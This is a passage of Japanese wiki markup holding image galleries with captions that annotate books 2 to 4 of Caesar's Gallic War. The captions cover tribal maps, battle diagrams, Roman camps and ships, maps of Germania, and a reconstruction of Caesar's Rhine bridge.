画像:2018-02-20 15-17-12 rempart-beauvais.jpg|ベッロウァキー族（[[w:la:Bellovaci|Bellovaci]]）の名を伝える[[w:ボーヴェ|ボーヴェ市]]（[[w:fr:Beauvais|Beauvais]]）に遺るローマ期の城壁。当地には、ローマ風の都市'''カエサロマグス'''（[[w:la:Caesaromagus (discretiva)|Caesaromagus]]）が建設され、「ベッロウァキー族の都市」を意味する別名'''キーウィタース・ベッロウァコールム'''（civitas Bellovacorum）または'''ベッロウァクム'''（[[w:la:Bellovacum|Bellovacum]]）とも呼ばれ、その名が訛って今日のボーヴェに至る。&lt;hr&gt;ベッロウァキー族は、ローマ人の軍門に降った後、彼らの本拠'''ブラトゥスパンティウム'''からカエサロマグスに移住させられたため、ブラトゥスパンティウムがどこにあったのか、（[[w:ボーヴェ|ボーヴェ]]の近くと思われるが）正確な位置は不明である。
&lt;!--【第2巻15節】--&gt;
画像:Campagne_Belges -57.png|ベルガエ人との戦役（BC57年）におけるカエサルの遠征経路図。アンビアーニー族とネルウィイー族の領土は離れているように見える。
&lt;!--【第2巻16節】--&gt;
画像:Civitas of the Viromandui.svg|ウィロマンドゥイー族（[[w:en:Viromandui|Viromandui]]）の帝制ローマ期の推定される版図。現在の仏[[w:エーヌ県|エーヌ県]]のヴェルマン（[[w:fr:Vermand|Vermand]]）、[[w:サン＝カンタン|サン＝カンタン]]（[[w:fr:Saint-Quentin|St-Quentin]]）、さらに[[w:オワーズ県|オワーズ県]]の[[w:ノワイヨン|ノワイヨン]]（[[w:fr:Noyon|Noyon]]）などに及んでいたと考えられている。&lt;hr&gt;本節の記述のようにネルウィイー族（[[w:en:Nervii|Nervii]]）やアトレバテース族（[[w:en:Atrebates|Atrebates]]）の領域に隣接していた。が、[[#15節|15節]]で述べられた、アンビアーニー族（[[w:en:Ambiani|Ambiani]]）がネルウィイー族に隣接していたという記述には疑問が残る。
&lt;!--【第2巻18節】--&gt;
画像:Battle of the Sabis (Selle).png|[[w:サビス川の戦い|サビス川の戦い]]をめぐる戦場の概略図。&lt;br&gt;19世紀以来の[[w:サンブル川|サンブル川]]岸説ではなく、20世紀半ばに出て来た[[w:スヘルデ川|スヘルデ川]]の支流セル川（[[w:fr:Selle (affluent de l'Escaut)|Selle]]）岸のソルゾワール（[[w:fr:Saulzoir|Saulzoir]]）説&lt;ref&gt;[[w:en:Saulzoir]], [[w:fr:Saulzoir#Histoire]] 等を参照。&lt;/ref&gt;に基づく&lt;ref&gt;[https://www.livius.org/pictures/france/selle-sabis/battlefield-of-the-sabis-satellite-photo/ Sabis battlefield, Satellite photo - Livius] の戦場の布陣図等を参照。&lt;/ref&gt;。&lt;hr&gt;カエサルとローマ軍は、サビス川（図の水色部分）を渡河してグレー部分の道を右上方向に向かっていたが、川の手前の丘（下の黄色部分）に陣営を置くことにした。本節では、ローマ側の丘と、川を隔てて相対する丘の森の中にネルウィイー族らが陣取っていることに言及している。
&lt;!--【第2巻19節】--&gt;
画像:Bataille_laSambre -57.png|[[w:サビス川の戦い|サビス川の戦い]]における布陣図(左)と戦況図(右)。
&lt;!--【第2巻20節】--&gt;
画像:Cornicen 1-cropped.jpg|古代ローマ時代のラッパ（[[:c:Category:Roman tuba|Roman tuba]]）
&lt;!--【第2巻21節】--&gt;
画像:Legio-V-Caesar-PAX-Augusta.jpg|thumb|right|300px|カエサルから激励を受ける軍団兵。
&lt;!--【第2巻23節】--&gt;
画像:Pilum heavy.jpg|ローマ軍の[[w:ピルム|ピールム(投槍)]]。
画像:The Gladius Sword.jpg|[[w:グラディウス (武器)|グラディウス (長剣)]]を構えるローマ兵。
画像:Bodwognat, de oudste held van België.gif|[[w:ベルギー|ベルギー]]史の本（1845年）の挿絵に郷土の英雄として描かれたボドゥオーグナートゥス（''[[:c:Category:Buduognat|Buduognat]]''）。
画像:SambreBattle.gif|[[w:サビス川の戦い|サビス川の戦い]]の布陣図。19世紀以来の[[w:サンブル川|サンブル川]]岸説によるもの。&lt;hr&gt;本節の記述に従って、ローマ軍左翼の[[w:第9軍団ヒスパナ|第9軍団]]・[[w:第10軍団エクェストリス|第10軍団]]はアトレバテース族に、中央の[[w:第11軍団クラウディア|第11軍団]]・[[w:第8軍団アウグスタ|第8軍団]]が、ウィロマンドゥイー族に、ローマ軍右翼の[[w:第12軍団ウィクトリクス|第12軍団]]・[[w:第7軍団クラウディア・ピア・フィデリス|第7軍団]]が[[w:ネルウィイ族|ネルウィイー族]]に向き合っている。
&lt;!--【第2巻24節】--&gt;
画像:Castra1.png|ローマ式[[w:カストラ|陣営]]（[[w:la:Castra_Romana|castra Romana]]）の概略図。'''７'''が第10大隊の門（porta decumana）で、陣営の裏門に当たる。
画像:Roman collared slaves - Ashmolean Museum.jpg|古代ローマ時代の、首根っこを互いにつながれて苦役に従事させられる奴隷たち。


&lt;!--【第2巻29節】--&gt;
画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14594676898).jpg|カエサルの'''アトゥアトゥキー族攻囲戦'''&amp;nbsp;の概略図。&lt;br&gt;[[w:ナミュール|ナミュール]]が戦場だったとする説による。[[:ファイル:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14594676898).jpg|⇒詳しく]]
画像:Namur JPG07.jpg|[[w:ナミュール|ナミュール]]の&lt;ruby&gt;&lt;rb&gt;城塞&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;シタデル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（''[[w:en:Citadel of Namur|Citadel of Namur]]''）。&lt;br&gt;その起源はローマ時代にさかのぼるとされ、改築を繰り返して現在に至る。

画像:The_defeat_of_the_Cimbri.jpg|ローマ軍に滅ぼされたキンブリ族。&lt;br&gt;フランスの画家[[w:アレクサンドル＝ガブリエル・ドゥカン|アレクサンドル＝ガブリエル・ドゥカン]]による『キンブリ族の敗北』（«''La défaite des Cimbres''» par [[w:fr:Alexandre-Gabriel Decamps|Alexandre-Gabriel Decamps]] ）

&lt;!--【第2巻３１節】--&gt;
画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|城壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の上り坂を登り切って城壁に近づいた&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（再掲）。
画像:Taranis Jupiter with wheel and thunderbolt Le Chatelet Gourzon Haute Marne.jpg|雷神タラニス（[[w:en:Taranis|Taranis]]）の像。&lt;br&gt;[[w:ケルト神話|ケルト神話]]の天空神で、右手に稲妻を、左手に車輪を持っている。&lt;br&gt;戦争や死をも司る。

&lt;!--【第2巻３３節】--&gt;
画像:Camp des Pictes (93).JPG|盾や槍などで武装したガッリア人の再現例。
画像:Les Aduatiques Vendus à l'Encan (détail).jpg|『'''競売で売られたアドゥアトゥキー族'''』（&lt;span style=&quot;font-family:Times New Roman;fons-size:15pt;&quot;&gt;''Les Aduatiques Vendus à l'Encan''&lt;/span&gt;）&lt;br&gt;　[[w:ベルギー|ベルギー]]出身の画家[[w:レミー・コッヘ|レミー・コッヘ]]（&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[w:Rémy Cogghe|Rémy Cogghe (1854–1935)]]&lt;/span&gt;）による1880年の作品(複製･部分)。

&lt;!--【第2巻35節】--&gt;
画像:Armorica.png|[[w:アルモリカ|アルモリカ]]（[[w:en:Armorica|Armorica]]）と呼ばれる大西洋沿岸諸部族の分布図。[[#34節|前節]]でローマに帰服したと報告された地域であるが、本節で言及された[[w:ロワール川|ロワール川]]沿いの諸部族 &lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[w:la:Carnutes|Carnutes]], [[w:la:Andecavi|Andes]], [[w:la:Turones (populus)|Turones]]&lt;/span&gt; の名が見える。本節の軍団の配置は、翌年の沿岸部での戦争を見越して、戦地に近い土地で冬営させたものと考えられる。
&lt;/gallery&gt;

==第3巻==
*&lt;span style=&quot;background-color:#ddd;&quot;&gt;[[ガリア戦記 第3巻]]　；　[[ガリア戦記 第3巻/注解]]&lt;/span&gt;
&lt;gallery&gt;
画像:Gaule -56.png|ガリア戦記 第3巻の情勢図（BC56年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。
&lt;!--【ルカ会談】--&gt;
画像:First Triumvirate of Caesar, Crassius and Pompey.jpg|後に[[w:三頭政治#第一回三頭政治|三頭政治]]（&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[w:la:Triumviratus|Triumviratus]]&lt;/span&gt;）と呼ばれることになる非公式な盟約を結んでいた、左から[[w:ガイウス・ユリウス・カエサル|カエサル]]、[[w:マルクス・リキニウス・クラッスス|クラッスス]]、[[w:グナエウス・ポンペイウス|ポンペイウス]]。&lt;br&gt;3人は、第3巻の戦いが始まる前に、ルカ会談で三頭政治の延長を決めた。
&lt;!--【第3巻1節】--&gt;
画像:Historische Karte CH Rome 1.png|現在の[[w:スイス|スイス]]の帝制ローマ時代の地図。左下の三日月形の[[w:レマン湖|レマン湖]]の下方に、&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;ALLOBROGES, NANTUATES, VERAGRI, SEDUNI&lt;/span&gt; の部族名が見える。
画像:Afdaling vd San Bernardino - panoramio.jpg|現在の[[w:グラン・サン・ベルナール峠|グラン・サン・ベルナール峠]]。ラテン語では &lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[w:la:Porta Magni Sancti Bernardi|Porta Magni Sancti Bernardi]] という。&lt;br&gt;スイスを縦断する[[w:欧州自動車道路|欧州自動車道路]] [[w:en:European route E27|E27]] が[[w:レマン湖|レマン湖]]からこの峠を通ってイタリアの[[w:アオスタ|アオスタ]]へ至る。&lt;/span&gt;
画像:Servius Sulpicius Galba.jpg|[[w:セルウィウス・スルピキウス・ガルバ (紀元前54年法務官)|セルウィウス・スルピキウス・ガルバ]]の横顔が刻まれた貨幣。ガルバは[[w:紀元前54年|BC54年]]（[[ガリア戦記 第5巻|ガリア戦記 第5巻]]の年）に[[w:プラエトル|法務官]]に任官。内戦期もカエサルに従うが、暗殺計画に参画する。&lt;br&gt;[[w:ネロ|ネロ帝]]とともにユリウス家の王朝が途絶えると、ガルバの曽孫が[[w:ローマ内戦_(68年-70年)#四皇帝|四皇帝]]の一人目の[[w:ガルバ|ガルバ帝]]となった。このため[[w:ガイウス・スエトニウス・トランクィッルス|スエートーニウス]]『ローマ皇帝伝』の「ガルバ伝」にガルバへの言及がある&lt;ref&gt;[[s:la:De_vita_Caesarum_libri_VIII/Vita_Galbae#III.]]&lt;/ref&gt;。
画像:Martigny_1600.jpg|かつてウェラーグリー族のオクトードゥールス村（[[w:la:Octodurus|Octodurus]]）があった所は、現在では[[w:スイス|スイス]]の[[w:マルティニー|マルティニー]]（[[w:en:Martigny|Martigny]]）市となっている。[[w:ローヌ川|ローヌ川]]が屈曲して流れる[[w:谷|渓谷]]地帯にある。

&lt;!--【コラム「ガルバの派遣とカティリーナ事件」】--&gt;
画像:Joseph-Marie Vien - The Oath of Catiline.jpg|'''カティリーナの誓い'''（''Le Serment de Catiline''）&lt;br&gt;[[w:ジョゼフ＝マリー・ヴィアン|ジョゼフ＝マリー・ヴィアン]]画(1809年)。&lt;hr&gt;カティリーナと共謀者たちは、人間の血を混ぜたワインを飲んで誓いを立てる儀式を行なったと伝えられている。
画像:The Discovery of the Body of Catiline.jpg|'''カティリーナの遺骸の発見'''&lt;br&gt;（''Il ritrovamento del corpo di Catilina''）&lt;br&gt;''[[w:en:Alcide Segoni|Alcide Segoni]]'' 画(1871年)&lt;hr&gt;アッロブロゲース族のいるガッリアへ向かおうとしていたカティリーナは、[[w:ピストイア|ピストリア]]（[[w:la:Pistorium|Pistoria]]）の戦い（''[[w:en:Battle of Pistoia|Battle of Pistoia]]''）で戦死した。
&lt;!--【第3巻6節】--&gt;
画像:Amphitheaterforumclaudiival1.jpg|オクトードゥールス（&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[w:la:Octodurus|Octodurus]]&lt;/span&gt;）、すなわち現在の[[w:マルティニー|マルティニー市]]に遺る帝制ローマ時代の円形競技場。オクトードゥールスは、&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;Forum Claudii Vallensium&lt;/span&gt; と改称され、[[w: クラウディウス|クラウディウス帝]]によって円形競技場が建てられた。&lt;br&gt;（&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;''[[w:fr:Amphithéâtre de Martigny|Amphithéâtre de Martigny]]''&lt;/span&gt; 等の記事を参照。）

&lt;!--【第3巻9節】--&gt;
画像:Map of Aremorican tribes (Latin).svg|[[w:アルモリカ|アルモリカ]]（&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;''[[w:en:Armorica|Armorica]]''&lt;/span&gt; ）の部族分布図。[[:ファイル:Map of Aremorican tribes (Latin).svg|⇒詳しく]]

&lt;!--【第3巻12節】--&gt;
画像:Bretagne Finistere PointeduRaz15119.jpg|ウェネティ族の[[w:オッピドゥム|城塞都市]]があった[[w:ブルターニュ半島|ブルターニュ半島]]の突き出た地形
画像:Astronomical tide IJmuiden 21 January 2012.png|ある日（24時間）の'''[[w:潮位|潮位]]'''予測グラフの例（2012年、オランダ北海沿岸のエイマイデン）。&lt;br&gt;満潮や干潮は、約12時間の周期で繰り返されることが多いため、たいてい1日2回ずつ生じる。
&lt;!--【第3巻13節】--&gt;
画像:Navire venete.svg|ウェネティー族の船の再現画（左下に兵士の大きさが示されている）一つの帆をもつ帆船の例
画像:Navire venete 2.svg|ウェネティー族の船の再現画（左下に兵士の大きさが示されている）二つの帆をもつ帆船の例
画像:Navis longa ja.JPG|古代ローマの軍船（[[w:ガレー船|ガレー船]]）の構成

画像:Nemi 060 museo delle Navi.jpg|[[w:la:Ancora|ancora]] ([[w:錨|錨]])(古代ローマ)
画像:Cordage en chanvre.jpg|[[w:la:Funis|funis]] (綱の[[w:ロープ|ロープ]])
画像:Old chain.jpg|[[w:la:Catena|catena]] ([[w:鎖|鎖]])

画像:Linen canvas.jpg|&lt;ruby&gt;&lt;rb&gt;[[w:リネン|亜麻布]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;リネン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の[[w:帆布|帆布]] 
画像:Kissen aus indischem Antilopenfell 2013.jpg|[[w:la:Pellis|pellis]] ([[w:毛皮|毛皮]])
画像:Natural Bridge State Park (30337351644).jpg|aluta ([[w:en:Tanning (leather)|なめし皮]])

画像:Grappling hook 2 (PSF).png|[[w:海戦|海戦]]において敵船に[[w:移乗攻撃|接舷]]するために用いられていた、多数の&lt;ruby&gt;&lt;rb&gt;[[w:鉤|鉤]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を備えた&lt;ruby&gt;&lt;rb&gt;[[w:銛|銛]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もり&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の一種（&lt;small&gt;英語 [[wikt:en:grappling hook|grappling hook]]&lt;/small&gt;）。&lt;hr&gt;[[内乱記_第1巻#57節|『内乱記』第1巻57節]]、[[内乱記_第2巻#6節|第2巻6節]]においても、[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|D.ブルートゥス]]による'''[[内乱記/マッシリアについて|マッシリア攻囲]]'''の海戦の場面で、同様の鉤について言及される。

&lt;!--【第3巻14節】--&gt;
画像:Bataille Morbihan -56.png|[[w:紀元前56年|BC56年]]に現在の[[w:モルビアン県|モルビアン県]]沿いの[[w:キブロン湾|キブロン湾]]で戦われたと考えられている、[[w:ウェネティ族 (ガリア)|ウェネティー族]]と[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|D. ブルートゥス]]率いる艦隊との海戦、いわゆる「[[w:モルビアン湾の海戦|モルビアン湾の海戦]]」の海戦図。&lt;hr&gt;上図の説では、&lt;span style=&quot;color:green;&quot;&gt;ウェネティー族の帆船(緑色/約220隻)&lt;/span&gt;と&lt;span style=&quot;color:red;&quot;&gt;ブルートゥス率いるローマのガレー船(赤色/約100隻)&lt;/span&gt;が[[w:キブロン湾|キブロン湾]]で対峙し、&lt;span style=&quot;color:red;&quot;&gt;カエサルと1個軍団(赤色)&lt;/span&gt;が沿岸を占領している。

画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14778300381)(cropped).jpg|破城鎌の復元画の例
画像:Ulysse bateau.jpg|帆柱・帆桁や帆・綱具などが描かれたローマ時代の[[w:モザイク|モザイク画]]&lt;ref&gt;[[w:en:Roman mosaic]]&lt;/ref&gt;《[[w:オデュッセウス|オデュッセウス]]と[[w:セイレーン|セイレーン]]》&lt;br&gt;（[[w:チュニス|チュニス]]の[[w:バルド国立博物館|バルド国立博物館]]）
&lt;!--【第3巻16節】--&gt;
画像:Jean-Léon Gérôme - Vente d'esclaves à Rome, 1884 (Detail).jpg|葉冠を頭にかぶせられ、ローマの[[w:奴隷貿易|奴隷市場]]で競売に懸けられる女性奴隷。&lt;hr&gt;フランスの画家[[w:ジャン＝レオン・ジェローム|ジャン＝レオン・ジェローム]]が1884年に描いた歴史画「ローマの奴隷売却」（''[[w:fr:Vente d'esclaves à Rome|Vente d'esclaves à Rome]]''）の一部分。

&lt;!--【第3巻17節】--&gt;
画像:Campagne Unelles -56.png|[[w:クィントゥス・ティトゥリウス・サビヌス|サビーヌス]]のウネッリー族・レクソウィイー族への遠征経路。
画像:Map of Aremorican tribes (Latin).svg|thumb|right|400px|[[w:アルモリカ|アルモリカ]]（&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;''[[w:en:Armorica|Armorica]]''&lt;/span&gt; ）の部族分布図（再掲）。

&lt;!--【第3巻20節】--&gt;
画像:Campagne Aquitains -56.png|[[w:プブリウス・リキニウス・クラッスス|クラッスス]]のアウィタニア遠征の経路。

&lt;!--【第3巻23節】--&gt;
画像:Hispania_1a_division_provincial.PNG|BC197年頃の[[w:ヒスパニア|ヒスパーニア]]。&lt;br&gt;オレンジ色の地域が当時の[[w:ヒスパニア・キテリオル|ヒスパーニア・キテリオル]]。
画像:Ethnographic Iberia 200 BCE.PNG|BC200年頃のイベリア半島の民族分布。朱色の部分に[[w:アクィタニア人|アクィタニア人]]の諸部族が居住していた。

&lt;!--【第3巻25節】--&gt;
画像:Castra1.png|thumb|right|200px|ローマ式[[w:カストラ|陣営]]（[[w:la:Castra_Romana|castra Romana]]）の概略図（再掲）。'''７'''が第10大隊の門（porta decumana）で、陣営の裏門に当たる。

&lt;!--【第3巻27節】--&gt;
画像:Campagne Aquitains -56.png|thumb|right|300px|[[w:プブリウス・リキニウス・クラッスス|クラッスス]]のアウィーターニア遠征図(再掲)&lt;hr&gt;Tarbelli, Bigerriones, Tarusates, Elusates, Ausci, Cocosates の名が見える。
画像:Aquitani tribes map-fr.svg|thumb|right|400px|アクィーターニアからイベリア半島にかけての部族配置図。&lt;hr&gt;Tarbelli, Bigerrones(Bigerriones), Elusates, Ausci, Sibuzates の名が見える

&lt;/gallery&gt;
&lt;!--【第3巻●節】--&gt;

==第4巻==
*&lt;span style=&quot;background-color:#ddd;&quot;&gt;[[ガリア戦記 第4巻]]　；　[[ガリア戦記 第4巻/注解]]&lt;/span&gt;
&lt;gallery&gt;
画像:Gaule -55.png|ガリア戦記 第4巻の情勢図（BC55年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。
&lt;!--【ゲルマーニア】--&gt;
画像:Droysens Hist Handatlas S17 Germanien.jpg|thumb|left|350px|古代ローマ期の[[w:ゲルマニア|ゲルマーニア]]を描いた近代の地図。&lt;br&gt;出典：Gustav Droysens Allgemeiner historischer Handatlas, Velhagen &amp; Klasing 1886.&lt;br&gt;(『[[w:ヨハン・グスタフ・ドロイゼン|グスタフ・ドロイゼン]]の一般歴史地図帳』1886年 ) 
画像:Ancient Germania - New York, Harper and Brothers 1849.jpg|thumb|left|350px|古代ローマ期の[[w:ゲルマニア|ゲルマーニア]]を描いた近代の地図。&lt;br&gt;出典：A Classical Atlas of Ancient Geography by Alexander G. Findlay. New York, Harper and Brothers, 1849. 
&lt;!--【『ガリア戦記』で記述されるゲルマーニア・ライン川関連の位置関係】--&gt;
画像:Belgae rivers.png|thumb|left|400px|ベルガエ地域の河川図。&lt;br&gt;明るい水色(右)：レーヌス　　〔[[w:ライン川|ライン川]]〕&lt;br&gt;(中央)濃い深緑色：モサ川　　〔[[w:マース川|マース川]]〕&lt;br&gt;(左)薄い水色　：スカルディス〔[[w:スヘルデ川|スヘルデ川]]〕&lt;hr&gt;[[w:エブロネス族|エブーローネース族]]やコンドルースィー族は、モサ川〔マース川〕の中流域にいたと考えられ、図の[[w:en:Tongeren|Tongeren]]（[[w:トンゲレン|トンゲレン]]）ではエブーローネース族がやがてローマ軍に大勝することになる。コンドルースィー族は、図の [[w:en:Condroz|Condroz]]（コンドロ地域）に名を遺す。いずれもベルギー東部の地域にある。

&lt;!--【第4巻3節】--&gt;
画像:1st century Germani.png|1世紀頃のゲルマーニア西部のおもな部族配置図。&lt;br&gt;&lt;span style=&quot;color:red&quot;&gt;赤色&lt;/span&gt;で記された [[w:en:Marcomanni|Marcomanni]]([[w:マルコマンニ|マルコマンニー]])、[[w:en:Semnones|Semnones]](セムノネース族)、[[w:en:Lombards|Lombards]]([[w:ランゴバルド人|ランゴバルド]])などがスエービーと呼ばれた諸部族。&lt;br&gt;&lt;span style=&quot;color:purple&quot;&gt;紫色&lt;/span&gt;で記された [[w:en:Chatti|Chatti]](カッティー族)、[[w:en:Cherusci|Cherusci]](ケールスキー族)、[[w:en:Hermunduri|Hermunduri]](ヘルムンドゥリー族)は [[w:en:Irminones|Irminones]]またはHerminones などと呼ばれる部族グループ。&lt;br&gt;'''黒字'''で記された残りの部族名の中に『ガリア戦記』で言及された [[w:en:Ubii|Ubii]](ウビイー族)、[[w:en:Usipetes|Usipii (Usipetes)]](ウスィペテス族)、[[w:en:Tencteri|Tencteri]](テンクテリー族)が見られることから、[[w:en:Chatti|Chatti]](カッティー族)と比較的近いことが見て取れる。

&lt;!--【第4巻4節】--&gt;
画像:Gaule Belgique.png|thumb|left|400px|ベルガエ（[[w:en:Belgae|Belgae (Belgica)]]）の部族と首邑の配置図(再掲)。&lt;hr&gt;'''[[w:en:Menapii|Menapii]]''' ('''メナピイー族''')は、大西洋沿岸地域に住み、Rhenus ([[w:ライン川|ライン川]])の右岸に [[w:en:Usipetes|Usipetes]] (ウスィペテース族)、[[w:en:Ubii|Ubii]] (ウビイー族)、[[w:en:Chatti|Chatti]] (カッティー族)などの名が見える。
画像:GallischeHoeve.jpg|thumb|left|400px|メナピイー族の復元住居（[[w:ベルギー|ベルギー]]の[[w:en:Destelbergen|Destelbergen]]）
&lt;!--【第4巻6節】--&gt;
画像:Gaule Belgique.png|thumb|right|300px|ガッリア北部の部族と首邑の配置図(再掲)。&lt;hr&gt;'''[[w:en:Eburones|Eburones]]''' ('''エブーローネース族''')、'''[[w:en:Treveri|Treveri]]''' ('''トレーウェリー族''') の名がライン川西岸に見える。
&lt;!--【第4巻10節】--&gt;
画像:Ancient north-east Gaul topographic map (Latin).svg|right|thumb|300px|ガッリア北東部の河川名（ラテン語）。&lt;hr&gt;[[w:la:Rhenus|Rhenus]]：レーヌス　〔[[w:ライン川|ライン川]]〕&lt;br&gt;[[w:la:Mosella (flumen)|Mosella]]：モセッラ　〔[[w:モーゼル川|モーゼル川]]〕&lt;br&gt;[[w:la:Vacalus|Vacalus]]：ウァカルス〔[[w:ワール川|ワール川]]〕&lt;br&gt;[[w:la:Mosa|Mosa]]　：モサ　　　 〔[[w:マース川|マース川]]〕&lt;br&gt;[[w:la:Scaldis|Scaldis]]：スカルディス〔[[w:スヘルデ川|スヘルデ川]]〕
画像:Maas Delta1.jpg|thumb|left|250px|現在の[[w:マース川|マース川]]とライン川＝[[w:ワール川|ワール川]]が合流する河口の三角州の衛星画像。
画像:History of Rome and the Roman people, from its origin to the establishment of the Christian empire (1884) (14741857236).jpg|thumb|left|500px|バターウィー族の島（Insula Batavorum）&lt;hr&gt;1世紀頃と現代(19世紀)の[[w:マース川|マース川]]とライン川・[[w:ワール川|ワール川]]の河口の三角州を重ね合わせた比較図（1884年）。
&lt;!--【第3巻15節・コラム「ゲルマーニア両部族が虐殺された場所はどこか？」】--&gt;
画像:Ancient north-east Gaul topographic map (Latin).svg|right|thumb|300px|ガッリア北東部の河川名(ラテン語)(再掲)。&lt;hr&gt;[[w:la:Rhenus|Rhenus]]：レーヌス　〔[[w:ライン川|ライン川]]〕&lt;br&gt;[[w:la:Mosella (flumen)|Mosella]]：モセッラ　〔[[w:モーゼル川|モーゼル川]]〕&lt;br&gt;[[w:la:Vacalus|Vacalus]]：ウァカルス〔[[w:ワール川|ワール川]]〕&lt;br&gt;[[w:la:Mosa|Mosa]]　：モサ　　　 〔[[w:マース川|マース川]]〕&lt;br&gt;[[w:la:Scaldis|Scaldis]]：スカルディス〔[[w:スヘルデ川|スヘルデ川]]〕
画像:Panorama Koblenz.jpg|thumb|400px|モセッラ川（現在の[[w:モーゼル川|モーゼル川]]）とレーヌス川（現在の[[w:ライン川|ライン川]]）の合流点[[w:コブレンツ|コブレンツ]]（[[:w:la:Confluentes|Confluentes]]）が、本節の殺戮地であったかも知れない。
&lt;/gallery&gt;

===レーヌス（ライン川）の架橋===
&lt;gallery&gt;
&lt;!--【第4巻17節】--&gt;
画像:Caesar's Rhine Crossing.jpg|thumb|left|300px|カエサルがライン川に橋を架けたとされる有力な地点の図示。ライン川と[[w:モーゼル川|モーゼル川]]の合流点にある[[w:コブレンツ|コブレンツ]]([[w:en:Koblenz|Koblenz]])と下流の[[w:アンダーナッハ|アンダーナッハ]]([[w:en:Andernach|Andernach]])との間の[[w:ノイヴィート|ノイヴィート]]([[w:en:Neuwied|Neuwied]])辺りが有力な地点の一つとされる。
画像:Rhine near Engers, north of Koblenz, Germany. In the backgound the railroad bridge of the Koblenz - Neuwied line. - panoramio.jpg|thumb|left|400px|[[w:ノイヴィート|ノイヴィート]]([[w:en:Neuwied|Neuwied]])付近を流れるライン川。川幅はかなりある。

画像:Caesar's Rhine bridge construction-01.svg|thumb|left|400px|(i) 根元の先を尖らせた太さ約44cmの材木を2本用意する。&lt;br&gt;(ii) 2本を約59cmの間隔をあけて板などで固定する。&lt;br&gt;(iii) 一対の材木を川の中に挿し入れて杭打ち機で押し込む。
画像:Roman_Pile_Driver,_Festung_Ehrenbreitstein,_Koblenz,_Germany.jpg|thumb|left|200px|カエサルがレーヌス架橋工事に用いた[[w:杭打ち機|杭打ち機]]の復元模型

画像:Caesar's Rhine bridge construction-02.svg|thumb|left|300px|(iv) 橋杭を斜めに傾ける。&lt;br&gt;　　約12m離してもう一つ設ける。&lt;br&gt;(v) 二つの橋杭の上に、太さ約59cmの材木を、梁として渡して接合する。
画像:Caesar's Rhine bridge construction-02 (brace version).svg|thumb|left|300px|左の復元図では、木造の&lt;ruby&gt;&lt;rb&gt;[[w:桁橋|桁橋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けたばし&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は構造上安定せず、軍隊の重さで潰れてしまうと考えられる。&lt;br&gt;そこでホームズ（[[w:en:T. Rice Holmes|T. Rice Holmes]]）は、建築家の助力を得て、ブレース（&lt;ruby&gt;&lt;rb&gt;[[w:筋交い|筋交]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;すじか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;い）で橋杭を支える案を提唱した。これが右の復元図である。

画像:Caesar's Rhine bridge construction-03.svg|thumb|left|300px|(vi) 梁の上に、さらに材木（図中の丸印）を&lt;ruby&gt;&lt;rb&gt;橋桁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はしげた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;として渡して、橋脚どうしをつなぐ。&lt;br&gt;その上に柴（図中の緑色部分）などを敷く。&lt;br&gt;橋を障害物から防護するために、&lt;br&gt;　　下流側にはさらに杭を立て掛けて支える。&lt;br&gt;　　(後述の &amp;laquo;sublicae ～ oblique agebantur&amp;raquo; 参照)&lt;br&gt;上流側の川底にも杭を打つ。
画像:Caesar's Rhine bridge construction-03 (brace version).svg|thumb|left|300px|左の復元図では、上述のように安定しないと考えられる。&lt;br&gt;そこで同様にブレース（筋交い）で橋杭を支える案が、右の復元図である。

画像:Caesar's Rhine bridge construction-04.svg|thumb|left|300px|(vii) 桁橋を側面から見た復元例&lt;br&gt;（材木を1本ずつ立て掛けた場合）。
画像:Caesar's Rhine bridge construction-04 (with crossed stakes).svg|thumb|left|300px|(vii) 桁橋を側面から見た復元例&lt;br&gt;（材木を2本ずつ交差させて立て掛けた場合）。&lt;br&gt;こちらは、ホームズ（[[w:en:T. Rice Holmes|T. Rice Holmes]]）の復元図に合わせた。

